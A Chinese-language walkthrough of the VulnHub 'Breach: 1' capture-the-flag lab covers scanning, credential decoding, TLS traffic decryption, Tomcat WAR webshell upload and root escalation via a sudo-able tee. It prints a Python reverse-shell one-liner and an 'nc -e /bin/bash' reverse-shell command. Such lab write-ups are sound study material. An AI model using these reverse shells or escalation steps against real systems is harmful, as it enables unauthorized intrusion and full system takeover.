Breach: 1靶机入侵
1、环境搭建
下载地址:https://www.vulnhub.com/entry/breach-1,152/
下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。
2、信息收集
-
主机发现
使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.110.1/24
192.168.110.140,为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.110.1/24
-
端口扫描
使用nmap扫描端口,并做服务识别和深度扫描(加-A参数):nmap -v -A 192.168.110.140
结果显示几乎绝大多数常见端口都开启了,这显然不正常。很可能是靶机的防御措施。
3、漏洞挖掘
-
访问80端口
查看源码发现一串加密字符串,目测应该是base64加密,连续两次base64解密得到:
pgibbons:damnitfeel$goodtobeagang$ta
猜测应该是给的用户名和密码,先记录备用
同时发现点击图片会跳转到initech.html页面,在这个页面我们找到了impresscms登录页面
-
登录cms后台,寻找突破口
我们尝试使用解密得到的账号及密码登录,成功进入后台
-
邮箱中找到秘钥文件线索
注意左边的收件箱Inbox显示有3封邮件,依次打开看:
第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS Admin Bill。
第2封邮件,主要内容:Michael采购了IDS/IPS。
第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore
访问
http://192.168.110.140/.keystore
下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式 -
找到SSL证书
继续浏览后台页面,找到SSL证书线索
点击跳转到一个新的页面,发现一个流量包文件。以及一些密码提示
由此推测:a.这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;b.系统中可能存在tomcat。
-
-
从密钥库中找到证书,解密流量文件
使用keytool工具查看密钥库中所有证书
查看keystore这个密钥库里面的所有证书,命令
keytool -list -keystore keystore`
输入密钥库口令tomcat(前面有提示)
从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,命令
keytool -importkeystore -srckeystore ./keystore -destkeystore ./tomcatkeystore.p12 -deststoretype pkcs12
把刚导出的证书设置到wireshark中,通过“编辑–首选项–Protocols–TLS,将流量包文件导入Wireshark
在流量包中找到tomcat路径和密码
后台地址:192.168.110.140:8443/_M@nag3Me/html
账户:密码 tomcat:Tt\5D8F(#!*u=G)4m7zB
-
登录tomcat,getshell
无法直接访问,需要通过burpsuite。
Tomcat后台get shell是有标准姿势的,使用哥斯拉生成jsp马,将其打成shell.zip压缩包,再将zip压缩包将扩展名改为shell.war,将war包上传部署即可.
在WAR file to deploy中将war包上传
上传后在目录中找到上传的目录/test,已上传jsp木马文件就在这个目录下使用哥斯拉连接:https://192.168.110.140:8443/shell/shell.jsp
发现的问题:上传的webshell,一会儿就会消失,文件被删除,需要重新上传war包才能够继续使用,主机可能有杀软或者杀web shell工具。解决方法:反弹一个shell出来。
python脚本反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.128",10086));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
4、权限提升
-
在网站根目录下查找配置文件等信息
找到网页根目录,默认是在tomcat目录,找到网页部署目录
/var/www/5446/
。意外发现mysql连接文件
用户为root密码为空
通过
mysql -uroot -p
命令连接到数据中,收集有用的信息
得到milton 用户密码密文。解密得到:thelaststraw
-
利用mysql得到的用户账密登录
尝试切换milton用户
- sudo -l查找可免密执行的具有root权限命令
没有可以利用的
-
find / -perm -4000 -print 2>/dev/null 提权失败
-
查看当前用户历史命令
查看历史命令,无有价值的线索,看到历史命令su提权到了blumbergh用户。需要找到blumbergh用户的密码。
-
从图片中获取密码
在milton家目录中发现有一个图片,这可能是一个提示。在网站/images目录下还有6张图片。
将图片复制到kali linux,使用strings打印各图片其中的可打印字符,追加输出到images.txt,在vim下查看,密码在bill.png图片中。发现唯一的单词是:
coffeestains
或者使用exiftool.exe工具查看bill.png图片的exif信息
-
尝试登录blumbergh,继续尝试提权
查看历史命令,发现/usr/share/cleanup和tidyup.sh脚本文件
读取tidyup.sh脚本分析
这是一段清理脚本,描述中说明每3分钟执行清理,删除webapps目录下的文件,因此之前上传的菜刀马总是被删除,需要重新上传。
查看tidyup.sh的权限,对该脚本没有写入权限,只有root可以
查看sudo权限,执行sudo -l:
发现用户能够以root权限执行这tee程序或tidyup.sh脚本:/usr/bin/tee和/usr/share/cleanup/tidyup.sh
tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。
-
利用清理脚本反弹shell,提权
向tidyup.sh中写入反弹shell命令
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
echo "nc -e /bin/bash 192.168.110.220 5555" > shell.txt
再使用tee命令将shell.txt内容输出到tidyup.sh
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
查看tidyup.sh文件写入成功:
cat /usr/share/cleanup/tidyup.sh`
等待脚本执行,攻击机开启监听,成功提权